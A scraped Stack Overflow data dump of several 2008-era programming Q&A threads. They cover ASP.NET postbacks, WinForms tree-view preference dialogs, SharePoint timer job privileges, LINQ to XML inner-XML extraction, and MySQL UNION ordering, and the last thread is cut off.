I'm writing a web page in ASP.NET. I have some JavaScript code, and I have a submit button with a click event. Is it possible to call a method I created in ASP with JavaScript's click event?
Well, if you don't want to do it using Ajax or any other way and just want a normal ASP.NET postback to happen, here is how you do it (without using any other libraries): *It is a little tricky though... :)* i. In your code file (assuming you are using C# and .NET 2.0 or later) add the following Interface to your Page class to make it look like ``` public partial class Default : System.Web.UI.Page, IPostBackEventHandler{} ``` ii. This should add (using `Tab`-`Tab`) this function to your code file: ``` public void RaisePostBackEvent(string eventArgument) { } ``` iii. In your onclick event in JavaScript, write the following code: ``` var pageId = '<%= Page.ClientID %>'; __doPostBack(pageId, argumentString); ``` This will call the 'RaisePostBackEvent' method in your code file with the 'eventArgument' as the 'argumentString' you passed from the JavaScript. Now, you can call any other event you like. P.S: That is 'underscore-underscore-doPostBack' ... And, there should be no space in that sequence... Somehow the WMD does not allow me to write to underscores followed by a character!
3,725
<p>I'm writing an application that is basically just a preferences dialog, much like the tree-view preferences dialog that Visual Studio itself uses. The function of the application is simply a pass-through for data from a serial device to a file. It performs many, many transformations on the data before writing it to the file, so the GUI for the application is simply all the settings that dictate what those transformations should be.</p> <p>What's the best way to go about designing/coding a tree-view preferences dialog? The way I've been going about it is building the main window with a docked tree control on the left. Then I have been creating container controls that correspond to each node of the tree. When a node is selected, the app brings that node's corresponding container control to the front, moves it to the right position, and maximizes it in the main window. This seems really, really clunky while designing it. It basically means I have tons of container controls beyond the edge of the main window during design time that I have to keep scrolling the main window over to in order to work with them. I don't know if this totally makes sense the way I'm writing this, but maybe this visual for what I'm talking about will make more sense:</p> <p><img src="https://i.stack.imgur.com/bVRJB.png" alt="form design"></p> <p>Basically I have to work with this huge form, with container controls all over the place, and then do a bunch of run-time reformatting to make it all work. This seems like a <em>lot</em> of extra work. Am I doing this in a totally stupid way? Is there some "obvious" easier way of doing this that I'm missing?</p>
[ { "answer_id": 3776, "author": "xyz", "author_id": 82, "author_profile": "https://Stackoverflow.com/users/82", "pm_score": 5, "selected": true, "text": "<p>A tidier way is to create separate forms for each 'pane' and, in each form constructor, set</p>\n\n<pre><code>this.TopLevel = false;\nthis.FormBorderStyle = FormBorderStyle.None;\nthis.Dock = DockStyle.Fill;\n</code></pre>\n\n<p>That way, each of these forms can be laid out in its own designer, instantiated one or more times at runtime, and added to the empty area like a normal control.</p>\n\n<p>Perhaps the main form could use a <code>SplitContainer</code> with a static <code>TreeView</code> in one panel, and space to add these forms in the other. Once they are added, they could be flipped through using <code>Hide/Show</code> or <code>BringToFront/SendToBack</code> methods.</p>\n\n<pre><code>SeparateForm f = new SeparateForm(); \nMainFormSplitContainer.Panel2.Controls.Add(f); \nf.Show();\n</code></pre>\n" }, { "answer_id": 3795, "author": "Dylan Bennett", "author_id": 551, "author_profile": "https://Stackoverflow.com/users/551", "pm_score": 2, "selected": false, "text": "<p>Greg Hurlman wrote:</p>\n\n<blockquote>\n <p>Why not just show/hide the proper container when a node is selected in the grid? Have the containers all sized appropriately in the same spot, and hide all but the default, which would be preselected in the grid on load.</p>\n</blockquote>\n\n<p>Unfortunately, that's what I'm trying to avoid. I'm looking for an easy way to handle the interface during design time, with minimal reformatting code needed to get it working during run time.</p>\n\n<p>I like Duncan's answer because it means the design of each node's interface can be kept <em>completely</em> separate. This means I don't get overlap on the snapping guidelines and other design time advantages.</p>\n" }, { "answer_id": 11179, "author": "Peteter", "author_id": 1192, "author_profile": "https://Stackoverflow.com/users/1192", "pm_score": 0, "selected": false, "text": "<p>I would probably create several panel classes based on a base class inheriting CustomControl. These controls would then have methods like Save/Load and stuff like that. If so I can design each of these panels separately.</p>\n\n<p>I have used a Wizard control that in design mode, handled several pages, so that one could click next in the designer and design all the pages at once through the designer. Though this had several disadvantages when connecting code to the controls, it probably means that you could have a similar setup by building some designer classes. I have never myself written any designer classes in VS, so I can't say how to or if its worth it :-)</p>\n\n<p>I'm a little curious of how you intend to handle the load/save of values to/from the controls? There must be a lot of code in one class if all your pages are in one big Form?</p>\n\n<p>And yet another way would of course be to generate the gui code as each page is requested, using info about what type of settings there are. </p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3725", "https://Stackoverflow.com", "https://Stackoverflow.com/users/551/" ]
I'm writing an application that is basically just a preferences dialog, much like the tree-view preferences dialog that Visual Studio itself uses. The function of the application is simply a pass-through for data from a serial device to a file. It performs many, many transformations on the data before writing it to the file, so the GUI for the application is simply all the settings that dictate what those transformations should be. What's the best way to go about designing/coding a tree-view preferences dialog? The way I've been going about it is building the main window with a docked tree control on the left. Then I have been creating container controls that correspond to each node of the tree. When a node is selected, the app brings that node's corresponding container control to the front, moves it to the right position, and maximizes it in the main window. This seems really, really clunky while designing it. It basically means I have tons of container controls beyond the edge of the main window during design time that I have to keep scrolling the main window over to in order to work with them. I don't know if this totally makes sense the way I'm writing this, but maybe this visual for what I'm talking about will make more sense: ![form design](https://i.stack.imgur.com/bVRJB.png) Basically I have to work with this huge form, with container controls all over the place, and then do a bunch of run-time reformatting to make it all work. This seems like a *lot* of extra work. Am I doing this in a totally stupid way? Is there some "obvious" easier way of doing this that I'm missing?
A tidier way is to create separate forms for each 'pane' and, in each form constructor, set ``` this.TopLevel = false; this.FormBorderStyle = FormBorderStyle.None; this.Dock = DockStyle.Fill; ``` That way, each of these forms can be laid out in its own designer, instantiated one or more times at runtime, and added to the empty area like a normal control. Perhaps the main form could use a `SplitContainer` with a static `TreeView` in one panel, and space to add these forms in the other. Once they are added, they could be flipped through using `Hide/Show` or `BringToFront/SendToBack` methods. ``` SeparateForm f = new SeparateForm(); MainFormSplitContainer.Panel2.Controls.Add(f); f.Show(); ```
3,739
<p>I have an unusual situation in which I need a SharePoint timer job to both have local administrator windows privileges and to have <code>SHAREPOINT\System</code> SharePoint privileges.</p> <p>I can get the windows privileges by simply configuring the timer service to use an account which is a member of local administrators. I understand that this is not a good solution since it gives SharePoint timer service more rights then it is supposed to have. But it at least allows my SharePoint timer job to run <code>stsadm</code>.</p> <p>Another problem with running the timer service under local administrator is that this user won't necessarily have <code>SHAREPOINT\System</code> SharePoint privileges which I also need for this SharePoint job. It turns out that <code>SPSecurity.RunWithElevatedPrivileges</code> won't work in this case. Reflector shows that <code>RunWithElevatedPrivileges</code> checks if the current process is <code>owstimer</code> (the service process which runs SharePoint jobs) and performs no elevation this is the case (the rational here, I guess, is that the timer service is supposed to run under <code>NT AUTHORITY\NetworkService</code> windows account which which has <code>SHAREPOINT\System</code> SharePoint privileges, and thus there's no need to elevate privileges for a timer job).</p> <p>The only possible solution here seems to be to run the timer service under its usual NetworkService windows account and to run stsadm as a local administrator by storing the administrator credentials somewhere and passing them to System.Diagnostics.Process.Run() trough the StarInfo's Username, domain and password.</p> <p>It seems everything should work now, but here is another problem I'm stuck with at the moment. Stsamd is failing with the following error popup (!) (Winternals filemon shows that stsadm is running under the administrator in this case):</p> <p><code>The application failed to initialize properly (0x0c0000142).</code> <br /> <code>Click OK to terminate the application.</code></p> <p>Event Viewer registers nothing except the popup.</p> <p>The local administrator user is my account and when I just run <code>stsadm</code> interactively under this account everything is ok. It also works fine when I configure the timer service to run under this account.</p> <p>Any suggestions are appreciated :)</p>
[ { "answer_id": 3741, "author": "Michael Stum", "author_id": 91, "author_profile": "https://Stackoverflow.com/users/91", "pm_score": 1, "selected": false, "text": "<p>I'm not at work so this is off the top of my head, but: If you get a reference to the Site, can you try to create a new SPSite with the SYSTEM-UserToken?</p>\n\n<pre><code>SPUserToken sut = thisSite.RootWeb.AllUsers[\"SHAREPOINT\\SYSTEM\"].UserToken;\n\nusing (SPSite syssite = new SPSite(thisSite.Url,sut)\n{\n // Do what you have to do\n}\n</code></pre>\n" }, { "answer_id": 4566, "author": "axk", "author_id": 578, "author_profile": "https://Stackoverflow.com/users/578", "pm_score": 0, "selected": false, "text": "<p>Other applications if run this way (i.e. from a timer job with explicit credentials) are failing the same way with \"The application failed to initialize propely\". I just worte a simple app which takes a path of another executable and its arguments as parameres and when run from that timer job it fails the same way.</p>\n\n<pre><code>internal class ExternalProcess\n{\n public static void run(String executablePath, String workingDirectory, String programArguments, String domain, String userName,\n String password, out Int32 exitCode, out String output)\n {\n Process process = new Process();\n\n process.StartInfo.UseShellExecute = false;\n process.StartInfo.RedirectStandardError = true;\n process.StartInfo.RedirectStandardOutput = true;\n\n StringBuilder outputString = new StringBuilder();\n Object synchObj = new object();\n\n DataReceivedEventHandler outputAppender =\n delegate(Object sender, DataReceivedEventArgs args)\n {\n lock (synchObj)\n {\n outputString.AppendLine(args.Data);\n }\n };\n\n process.OutputDataReceived += outputAppender;\n process.ErrorDataReceived += outputAppender;\n\n process.StartInfo.FileName = @\"C:\\AppRunner.exe\";\n process.StartInfo.WorkingDirectory = workingDirectory;\n process.StartInfo.Arguments = @\"\"\"\" + executablePath + @\"\"\" \" + programArguments;\n\n process.StartInfo.UserName = userName;\n process.StartInfo.Domain = domain; \n SecureString passwordString = new SecureString();\n\n foreach (Char c in password)\n {\n passwordString.AppendChar(c);\n }\n\n process.StartInfo.Password = passwordString;\n\n process.Start();\n\n process.BeginOutputReadLine();\n process.BeginErrorReadLine();\n\n process.WaitForExit();\n\n exitCode = process.ExitCode;\n output = outputString.ToString();\n }\n}\n</code></pre>\n\n<p>AppRunner basically does the same as the above fragment, but without username and password</p>\n" }, { "answer_id": 5938442, "author": "Partha", "author_id": 744886, "author_profile": "https://Stackoverflow.com/users/744886", "pm_score": 0, "selected": false, "text": "<p>The SharePoint Timer jobs runs with the SharePoint Firm Admin credentials since, the information get into the SharePoint Config Database. Thus the application pool will not have the access.</p>\n\n<p>For testing the timer job in dev environment, we can temporarily change the application pool account to the application pool account being used for Central Administration.</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3739", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have an unusual situation in which I need a SharePoint timer job to both have local administrator windows privileges and to have `SHAREPOINT\System` SharePoint privileges. I can get the windows privileges by simply configuring the timer service to use an account which is a member of local administrators. I understand that this is not a good solution since it gives SharePoint timer service more rights then it is supposed to have. But it at least allows my SharePoint timer job to run `stsadm`. Another problem with running the timer service under local administrator is that this user won't necessarily have `SHAREPOINT\System` SharePoint privileges which I also need for this SharePoint job. It turns out that `SPSecurity.RunWithElevatedPrivileges` won't work in this case. Reflector shows that `RunWithElevatedPrivileges` checks if the current process is `owstimer` (the service process which runs SharePoint jobs) and performs no elevation this is the case (the rational here, I guess, is that the timer service is supposed to run under `NT AUTHORITY\NetworkService` windows account which which has `SHAREPOINT\System` SharePoint privileges, and thus there's no need to elevate privileges for a timer job). The only possible solution here seems to be to run the timer service under its usual NetworkService windows account and to run stsadm as a local administrator by storing the administrator credentials somewhere and passing them to System.Diagnostics.Process.Run() trough the StarInfo's Username, domain and password. It seems everything should work now, but here is another problem I'm stuck with at the moment. Stsamd is failing with the following error popup (!) (Winternals filemon shows that stsadm is running under the administrator in this case): `The application failed to initialize properly (0x0c0000142).` `Click OK to terminate the application.` Event Viewer registers nothing except the popup. The local administrator user is my account and when I just run `stsadm` interactively under this account everything is ok. It also works fine when I configure the timer service to run under this account. Any suggestions are appreciated :)
I'm not at work so this is off the top of my head, but: If you get a reference to the Site, can you try to create a new SPSite with the SYSTEM-UserToken? ``` SPUserToken sut = thisSite.RootWeb.AllUsers["SHAREPOINT\SYSTEM"].UserToken; using (SPSite syssite = new SPSite(thisSite.Url,sut) { // Do what you have to do } ```
3,793
<p>What's the best way to get the contents of the mixed <code>body</code> element in the code below? The element might contain either XHTML or text, but I just want its contents in string form. The <code>XmlElement</code> type has the <code>InnerXml</code> property which is exactly what I'm after.</p> <p>The code as written <em>almost</em> does what I want, but includes the surrounding <code>&lt;body&gt;</code>...<code>&lt;/body&gt;</code> element, which I don't want.</p> <pre class="lang-js prettyprint-override"><code>XDocument doc = XDocument.Load(new StreamReader(s)); var templates = from t in doc.Descendants("template") where t.Attribute("name").Value == templateName select new { Subject = t.Element("subject").Value, Body = t.Element("body").ToString() }; </code></pre>
[ { "answer_id": 3794, "author": "Greg Hurlman", "author_id": 35, "author_profile": "https://Stackoverflow.com/users/35", "pm_score": 0, "selected": false, "text": "<p>Is it possible to use the System.Xml namespace objects to get the job done here instead of using LINQ? As you already mentioned, XmlNode.InnerXml is exactly what you need.</p>\n" }, { "answer_id": 3799, "author": "Mike Powell", "author_id": 205, "author_profile": "https://Stackoverflow.com/users/205", "pm_score": 2, "selected": false, "text": "<p>@Greg: It appears you've edited your answer to be a completely different answer. To which my answer is yes, I could do this using System.Xml but was hoping to get my feet wet with LINQ to XML.</p>\n\n<p>I'll leave my original reply below in case anyone else wonders why I can't just use the XElement's .Value property to get what I need:</p>\n\n<p>@Greg: The Value property concatenates all the text contents of any child nodes. So if the body element contains only text it works, but if it contains XHTML I get all the text concatenated together but none of the tags.</p>\n" }, { "answer_id": 3896, "author": "Mike Powell", "author_id": 205, "author_profile": "https://Stackoverflow.com/users/205", "pm_score": 3, "selected": false, "text": "<p>I ended up using this:</p>\n\n<pre><code>Body = t.Element(\"body\").Nodes().Aggregate(\"\", (b, node) =&gt; b += node.ToString());\n</code></pre>\n" }, { "answer_id": 16882, "author": "Vin", "author_id": 1747, "author_profile": "https://Stackoverflow.com/users/1747", "pm_score": 4, "selected": false, "text": "<p>How about using this \"extension\" method on XElement? worked for me !</p>\n\n<pre><code>public static string InnerXml(this XElement element)\n{\n StringBuilder innerXml = new StringBuilder();\n\n foreach (XNode node in element.Nodes())\n {\n // append node's xml string to innerXml\n innerXml.Append(node.ToString());\n }\n\n return innerXml.ToString();\n}\n</code></pre>\n\n<p>OR use a little bit of Linq </p>\n\n<pre><code>public static string InnerXml(this XElement element)\n{\n StringBuilder innerXml = new StringBuilder();\n doc.Nodes().ToList().ForEach( node =&gt; innerXml.Append(node.ToString()));\n\n return innerXml.ToString();\n}\n</code></pre>\n\n<p><strong>Note</strong>: The code above has to use <code>element.Nodes()</code> as opposed to <code>element.Elements()</code>. Very important thing to remember the difference between the two. <code>element.Nodes()</code> gives you everything like <code>XText</code>, <code>XAttribute</code> etc, but <code>XElement</code> only an Element. </p>\n" }, { "answer_id": 659159, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Wondering if (notice I got rid of the b+= and just have b+)</p>\n\n<pre><code>t.Element( \"body\" ).Nodes()\n .Aggregate( \"\", ( b, node ) =&gt; b + node.ToString() );\n</code></pre>\n\n<p>might be slightly less efficient than</p>\n\n<pre><code>string.Join( \"\", t.Element.Nodes()\n .Select( n =&gt; n.ToString() ).ToArray() );\n</code></pre>\n\n<p>Not 100% sure...but glancing at Aggregate() and string.Join() in Reflector...I <em>think</em> I read it as Aggregate just appending a returning value, so essentially you get:</p>\n\n<p>string = string + string</p>\n\n<p>versus string.Join, it has some mention in there of FastStringAllocation or something, which makes me thing the folks at Microsoft might have put some extra performance boost in there. Of course my .ToArray() call my negate that, but I just wanted to offer up another suggestion.</p>\n" }, { "answer_id": 659264, "author": "Instance Hunter", "author_id": 65393, "author_profile": "https://Stackoverflow.com/users/65393", "pm_score": 6, "selected": false, "text": "<p>I think this is a much better method (in VB, shouldn't be hard to translate):</p>\n\n<p>Given an XElement x:</p>\n\n<pre><code>Dim xReader = x.CreateReader\nxReader.MoveToContent\nxReader.ReadInnerXml\n</code></pre>\n" }, { "answer_id": 1622498, "author": "Ayyash", "author_id": 63202, "author_profile": "https://Stackoverflow.com/users/63202", "pm_score": 0, "selected": false, "text": "<p>you know? the best thing to do is to back to CDATA :( im looking at solutions here but i think CDATA is by far the simplest and cheapest, not the most convenient to develop with tho</p>\n" }, { "answer_id": 1655006, "author": "Marcin Kosieradzki", "author_id": 200228, "author_profile": "https://Stackoverflow.com/users/200228", "pm_score": 3, "selected": false, "text": "<p>Keep it simple and efficient:</p>\n\n<pre><code>String.Concat(node.Nodes().Select(x =&gt; x.ToString()).ToArray())\n</code></pre>\n\n<ul>\n<li>Aggregate is memory and performance inefficient when concatenating strings</li>\n<li>Using Join(\"\", sth) is using two times bigger string array than Concat... And looks quite strange in code.</li>\n<li>Using += looks very odd, but apparently is not much worse than using '+' - probably would be optimized to the same code, becase assignment result is unused and might be safely removed by compiler.</li>\n<li>StringBuilder is so imperative - and everybody knows that unnecessary \"state\" sucks.</li>\n</ul>\n" }, { "answer_id": 1704579, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 9, "selected": true, "text": "<p>I wanted to see which of these suggested solutions performed best, so I ran some comparative tests. Out of interest, I also compared the LINQ methods to the plain old <strong>System.Xml</strong> method suggested by Greg. The variation was interesting and not what I expected, with the slowest methods being <strong>more than 3 times slower than the fastest</strong>.</p>\n\n<p>The results ordered by fastest to slowest:</p>\n\n<ol>\n<li>CreateReader - Instance Hunter (0.113 seconds)</li>\n<li>Plain old System.Xml - Greg Hurlman (0.134 seconds)</li>\n<li>Aggregate with string concatenation - Mike Powell (0.324 seconds)</li>\n<li>StringBuilder - Vin (0.333 seconds)</li>\n<li>String.Join on array - Terry (0.360 seconds)</li>\n<li>String.Concat on array - Marcin Kosieradzki (0.364)</li>\n</ol>\n\n<hr>\n\n<p><strong>Method</strong></p>\n\n<p>I used a single XML document with 20 identical nodes (called 'hint'):</p>\n\n<pre><code>&lt;hint&gt;\n &lt;strong&gt;Thinking of using a fake address?&lt;/strong&gt;\n &lt;br /&gt;\n Please don't. If we can't verify your address we might just\n have to reject your application.\n&lt;/hint&gt;\n</code></pre>\n\n<p>The numbers shown as seconds above are the result of extracting the \"inner XML\" of the 20 nodes, 1000 times in a row, and taking the average (mean) of 5 runs. I didn't include the time it took to load and parse the XML into an <code>XmlDocument</code> (for the <strong>System.Xml</strong> method) or <code>XDocument</code> (for all the others).</p>\n\n<p>The LINQ algorithms I used were: <em>(C# - all take an <code>XElement</code> \"parent\" and return the inner XML string)</em></p>\n\n<p><strong>CreateReader:</strong></p>\n\n<pre class=\"lang-js prettyprint-override\"><code>var reader = parent.CreateReader();\nreader.MoveToContent();\n\nreturn reader.ReadInnerXml();\n</code></pre>\n\n<p><strong>Aggregate with string concatenation:</strong></p>\n\n<pre class=\"lang-js prettyprint-override\"><code>return parent.Nodes().Aggregate(\"\", (b, node) =&gt; b += node.ToString());\n</code></pre>\n\n<p><strong>StringBuilder:</strong></p>\n\n<pre class=\"lang-js prettyprint-override\"><code>StringBuilder sb = new StringBuilder();\n\nforeach(var node in parent.Nodes()) {\n sb.Append(node.ToString());\n}\n\nreturn sb.ToString();\n</code></pre>\n\n<p><strong>String.Join on array:</strong></p>\n\n<pre class=\"lang-js prettyprint-override\"><code>return String.Join(\"\", parent.Nodes().Select(x =&gt; x.ToString()).ToArray());\n</code></pre>\n\n<p><strong>String.Concat on array:</strong></p>\n\n<pre class=\"lang-js prettyprint-override\"><code>return String.Concat(parent.Nodes().Select(x =&gt; x.ToString()).ToArray());\n</code></pre>\n\n<p>I haven't shown the \"Plain old System.Xml\" algorithm here as it's just calling .InnerXml on nodes.</p>\n\n<hr>\n\n<p><strong>Conclusion</strong></p>\n\n<p>If performance is important (e.g. lots of XML, parsed frequently), I'd <strong>use Daniel's <code>CreateReader</code> method every time</strong>. If you're just doing a few queries, you might want to use Mike's more concise Aggregate method.</p>\n\n<p>If you're using XML on large elements with lots of nodes (maybe 100's), you'd probably start to see the benefit of using <code>StringBuilder</code> over the Aggregate method, but not over <code>CreateReader</code>. I don't think the <code>Join</code> and <code>Concat</code> methods would ever be more efficient in these conditions because of the penalty of converting a large list to a large array (even obvious here with smaller lists).</p>\n" }, { "answer_id": 2460802, "author": "Martin R-L", "author_id": 46343, "author_profile": "https://Stackoverflow.com/users/46343", "pm_score": 2, "selected": false, "text": "<p>Personally, I ended up writing an <code>InnerXml</code> extension method using the Aggregate method:</p>\n\n<pre><code>public static string InnerXml(this XElement thiz)\n{\n return thiz.Nodes().Aggregate( string.Empty, ( element, node ) =&gt; element += node.ToString() );\n}\n</code></pre>\n\n<p>My client code is then just as terse as it would be with the old System.Xml namespace:</p>\n\n<pre><code>var innerXml = myXElement.InnerXml();\n</code></pre>\n" }, { "answer_id": 3474630, "author": "Shivraj", "author_id": 419273, "author_profile": "https://Stackoverflow.com/users/419273", "pm_score": -1, "selected": false, "text": "<pre><code>public static string InnerXml(this XElement xElement)\n{\n //remove start tag\n string innerXml = xElement.ToString().Trim().Replace(string.Format(\"&lt;{0}&gt;\", xElement.Name), \"\");\n ////remove end tag\n innerXml = innerXml.Trim().Replace(string.Format(\"&lt;/{0}&gt;\", xElement.Name), \"\");\n return innerXml.Trim();\n}\n</code></pre>\n" }, { "answer_id": 14164352, "author": "Todd Menier", "author_id": 62600, "author_profile": "https://Stackoverflow.com/users/62600", "pm_score": 4, "selected": false, "text": "<p>With all due credit to those who discovered and proved the best approach (thanks!), here it is wrapped up in an extension method:</p>\n\n<pre><code>public static string InnerXml(this XNode node) {\n using (var reader = node.CreateReader()) {\n reader.MoveToContent();\n return reader.ReadInnerXml();\n }\n}\n</code></pre>\n" }, { "answer_id": 21642095, "author": "user950851", "author_id": 950851, "author_profile": "https://Stackoverflow.com/users/950851", "pm_score": 1, "selected": false, "text": "<p>// using Regex might be faster to simply trim the begin and end element tag</p>\n\n<pre><code>var content = element.ToString();\nvar matchBegin = Regex.Match(content, @\"&lt;.+?&gt;\");\ncontent = content.Substring(matchBegin.Index + matchBegin.Length); \nvar matchEnd = Regex.Match(content, @\"&lt;/.+?&gt;\", RegexOptions.RightToLeft);\ncontent = content.Substring(0, matchEnd.Index);\n</code></pre>\n" }, { "answer_id": 26348079, "author": "user1920925", "author_id": 1920925, "author_profile": "https://Stackoverflow.com/users/1920925", "pm_score": 1, "selected": false, "text": "<p>doc.ToString() or doc.ToString(SaveOptions) does the work.\nSee <a href=\"http://msdn.microsoft.com/en-us/library/system.xml.linq.xelement.tostring(v=vs.110).aspx\" rel=\"nofollow\">http://msdn.microsoft.com/en-us/library/system.xml.linq.xelement.tostring(v=vs.110).aspx</a></p>\n" }, { "answer_id": 52996448, "author": "Vinod Srivastav", "author_id": 3057246, "author_profile": "https://Stackoverflow.com/users/3057246", "pm_score": 0, "selected": false, "text": "<pre><code>var innerXmlAsText= XElement.Parse(xmlContent)\n .Descendants()\n .Where(n =&gt; n.Name.LocalName == \"template\")\n .Elements()\n .Single()\n .ToString();\n</code></pre>\n\n<p>Will do the job for you</p>\n" } ]
2008/08/06
[ "https://Stackoverflow.com/questions/3793", "https://Stackoverflow.com", "https://Stackoverflow.com/users/205/" ]
What's the best way to get the contents of the mixed `body` element in the code below? The element might contain either XHTML or text, but I just want its contents in string form. The `XmlElement` type has the `InnerXml` property which is exactly what I'm after. The code as written *almost* does what I want, but includes the surrounding `<body>`...`</body>` element, which I don't want. ```js XDocument doc = XDocument.Load(new StreamReader(s)); var templates = from t in doc.Descendants("template") where t.Attribute("name").Value == templateName select new { Subject = t.Element("subject").Value, Body = t.Element("body").ToString() }; ```
I wanted to see which of these suggested solutions performed best, so I ran some comparative tests. Out of interest, I also compared the LINQ methods to the plain old **System.Xml** method suggested by Greg. The variation was interesting and not what I expected, with the slowest methods being **more than 3 times slower than the fastest**. The results ordered by fastest to slowest: 1. CreateReader - Instance Hunter (0.113 seconds) 2. Plain old System.Xml - Greg Hurlman (0.134 seconds) 3. Aggregate with string concatenation - Mike Powell (0.324 seconds) 4. StringBuilder - Vin (0.333 seconds) 5. String.Join on array - Terry (0.360 seconds) 6. String.Concat on array - Marcin Kosieradzki (0.364) --- **Method** I used a single XML document with 20 identical nodes (called 'hint'): ``` <hint> <strong>Thinking of using a fake address?</strong> <br /> Please don't. If we can't verify your address we might just have to reject your application. </hint> ``` The numbers shown as seconds above are the result of extracting the "inner XML" of the 20 nodes, 1000 times in a row, and taking the average (mean) of 5 runs. I didn't include the time it took to load and parse the XML into an `XmlDocument` (for the **System.Xml** method) or `XDocument` (for all the others). The LINQ algorithms I used were: *(C# - all take an `XElement` "parent" and return the inner XML string)* **CreateReader:** ```js var reader = parent.CreateReader(); reader.MoveToContent(); return reader.ReadInnerXml(); ``` **Aggregate with string concatenation:** ```js return parent.Nodes().Aggregate("", (b, node) => b += node.ToString()); ``` **StringBuilder:** ```js StringBuilder sb = new StringBuilder(); foreach(var node in parent.Nodes()) { sb.Append(node.ToString()); } return sb.ToString(); ``` **String.Join on array:** ```js return String.Join("", parent.Nodes().Select(x => x.ToString()).ToArray()); ``` **String.Concat on array:** ```js return String.Concat(parent.Nodes().Select(x => x.ToString()).ToArray()); ``` I haven't shown the "Plain old System.Xml" algorithm here as it's just calling .InnerXml on nodes. --- **Conclusion** If performance is important (e.g. lots of XML, parsed frequently), I'd **use Daniel's `CreateReader` method every time**. If you're just doing a few queries, you might want to use Mike's more concise Aggregate method. If you're using XML on large elements with lots of nodes (maybe 100's), you'd probably start to see the benefit of using `StringBuilder` over the Aggregate method, but not over `CreateReader`. I don't think the `Join` and `Concat` methods would ever be more efficient in these conditions because of the penalty of converting a large list to a large array (even obvious here with smaller lists).
3,839
<p>I'm trying out the following query:</p> <pre><code>SELECT A,B,C FROM table WHERE field LIKE 'query%' UNION SELECT A,B,C FROM table WHERE field LIKE '%query' UNION SELECT A,B,C FROM table WHERE field LIKE '%query%' GROUP BY B ORDER BY B ASC LIMIT 5 </code></pre> <p>That's three queries stuck together, kinda sorta. However, the result set that comes back reflects results from query #3 before the results from query #1 which is undesired.</p> <p>Is there any way to prioritize these so that results come as all for query #1, then all for query #2 then all for query #3? I don't want to do this in PHP just yet (not to mention having to control for results that showed up in the first query not to show in the second and so forth).</p>
[ { "answer_id": 3852, "author": "Mark Harrison", "author_id": 116, "author_profile": "https://Stackoverflow.com/users/116", "pm_score": 2, "selected": false, "text": "<p>Can you do it as a subselect, something like</p>\n\n<pre><code>SELECT * FROM (\n SELECT A,B,C FROM table WHERE field LIKE 'query%'\n UNION\n SELECT A,B,C FROM table WHERE field LIKE '%query'\n UNION\n SELECT A,B,C FROM table WHERE field LIKE '%query%'\n) ORDER BY B ASC LIMIT 5\n</code></pre>\n" }, { "answer_id": 3853, "author": "Greg Hurlman", "author_id": 35, "author_profile": "https://Stackoverflow.com/users/35", "pm_score": 0, "selected": false, "text": "<p>If there isn't a sort that makes sense to order them you desire, don't union the results together - just return 3 separate recordsets, and deal with them accordingly in your data tier.</p>\n" }, { "answer_id": 3854, "author": "Yaakov Ellis", "author_id": 51, "author_profile": "https://Stackoverflow.com/users/51", "pm_score": 3, "selected": false, "text": "<p>Add an additional column with hard-coded values that you will use to sort the overall resultset, like so:</p>\n\n<pre><code>SELECT A,B,C,1 as [order] FROM table WHERE field LIKE 'query%'\nUNION\nSELECT A,B,C,2 as [order] FROM table WHERE field LIKE '%query'\nUNION\nSELECT A,B,C,3 as [order] FROM table WHERE field LIKE '%query%'\nGROUP BY B ORDER BY [order] ASC, B ASC LIMIT 5\n</code></pre>\n" }, { "answer_id": 3860, "author": "Mario Marinato", "author_id": 431, "author_profile": "https://Stackoverflow.com/users/431", "pm_score": 5, "selected": true, "text": "<p>Maybe you should try including a fourth column, stating the table it came from, and then order and group by it:</p>\n\n<pre><code>SELECT A,B,C, \"query 1\" as origin FROM table WHERE field LIKE 'query%'\nUNION\nSELECT A,B,C, \"query 2\" as origin FROM table WHERE field LIKE '%query'\nUNION\nSELECT A,B,C, \"query 3\" as origin FROM table WHERE field LIKE '%query%'\nGROUP BY origin, B ORDER BY origin, B ASC LIMIT 5\n</code></pre>\n" }, { "answer_id": 3876, "author": "mauriciopastrana", "author_id": 547, "author_profile": "https://Stackoverflow.com/users/547", "pm_score": 0, "selected": false, "text": "<p>I eventually (looking at all suggestions) came to this solution, its a bit of a compromise between what I need and time.</p>\n\n<pre><code>SELECT * FROM \n (SELECT A, B, C, \"1\" FROM table WHERE B LIKE 'query%' LIMIT 3\n UNION\n SELECT A, B, C, \"2\" FROM table WHERE B LIKE '%query%' LIMIT 5)\nAS RS\nGROUP BY B\nORDER BY 1 DESC\n</code></pre>\n\n<p>it delivers 5 results total, sorts from the fourth \"column\" and gives me what I need; a natural result set (its coming over AJAX), and a wildcard result set following right after.</p>\n\n<p>:)</p>\n\n<p>/mp</p>\n" }, { "answer_id": 3902, "author": "svrist", "author_id": 86, "author_profile": "https://Stackoverflow.com/users/86", "pm_score": 1, "selected": false, "text": "<p>SELECT distinct a,b,c FROM (\n SELECT A,B,C,1 as o FROM table WHERE field LIKE 'query%'\n UNION\n SELECT A,B,C,2 as o FROM table WHERE field LIKE '%query'\n UNION\n SELECT A,B,C,3 as o FROM table WHERE field LIKE '%query%'\n )\n ORDER BY o ASC LIMIT 5</p>\n\n<p>Would be my way of doing it. I dont know how that scales.</p>\n\n<p>I don't understand the</p>\n\n<pre><code>GROUP BY B ORDER BY B ASC LIMIT 5\n</code></pre>\n\n<p>Does it apply only to the last SELECT in the union? </p>\n\n<p>Does mysql actually allow you to group by a column and still not do aggregates on the other columns?</p>\n\n<p>EDIT: aaahh. I see that mysql actually does. Its a special version of DISTINCT(b) or something. I wouldnt want to try to be an expert on that area :)</p>\n" }, { "answer_id": 84974, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>There are two varients of UNION. </p>\n\n<pre><code>'UNION' and 'UNION ALL'\n</code></pre>\n\n<p>In most cases what you really want to say is UNION ALL as it does not do duplicate elimination (Think <code>SELECT DISTINCT</code>) between sets which can result in quite a bit of savings in terms of execution time.</p>\n\n<p>Others have suggested multiple result sets which is a workable solution however I would caution against this in time sensitive applications or applications connected over WANs as doing so can result in significantly more round trips on the wire between server and client.</p>\n" }, { "answer_id": 56214651, "author": "harsha reddy", "author_id": 11315515, 